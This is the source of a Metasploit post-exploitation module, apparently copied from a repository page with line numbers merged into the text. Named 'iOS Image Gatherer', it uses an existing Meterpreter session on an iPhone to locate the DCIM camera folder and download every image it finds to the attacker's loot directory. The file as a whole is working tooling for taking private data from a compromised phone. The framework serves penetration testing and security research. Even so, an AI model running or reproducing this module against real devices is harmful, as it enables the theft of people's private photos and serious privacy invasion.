Path: blob/master/modules/post/apple_ios/gather/ios_image_gather.rb
19778 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::File7include Msf::Auxiliary::Report89def initialize(info = {})10super(11update_info(12info,13'Name' => 'iOS Image Gatherer',14'Description' => %q{15This module collects images from iPhones.16Module was tested on iOS 10.3.3 on an iPhone 5.17},18'License' => MSF_LICENSE,19'Author' => [ 'Shelby Pace' ], # Metasploit Module20'Platform' => [ 'apple_ios' ],21'SessionTypes' => [ 'meterpreter' ],22'Notes' => {23'Stability' => [CRASH_SAFE],24'SideEffects' => [],25'Reliability' => []26},27'Compat' => {28'Meterpreter' => {29'Commands' => %w[30core_channel_close31core_channel_eof32core_channel_open33core_channel_read34stdapi_fs_stat35]36}37}38)39)40end4142def enum_img(f_path)43path = File.join(Msf::Config.loot_directory, Rex::Text.rand_text_alpha(6))44local_path = File.expand_path(path)4546ios_imgs = dir(f_path)47print_status("Directory for iOS images: #{local_path}")4849opts = { 'block_size' => 262144 }50ios_imgs.each do |img|51print_status("Downloading image: #{img}")52client.fs.file.download_file("#{local_path}/#{img}", "#{f_path}/#{img}", opts)53rescue StandardError54print_error("#{img} could not be downloaded")55end56end5758def run59img_path = '/private/var/mobile/Media/DCIM/100APPLE'60unless directory?(img_path)61fail_with(Failure::NotFound, 'Could not find the default image file path')62end63print_good('Image path found. Will begin searching for images...')6465enum_img(img_path)66end67end686970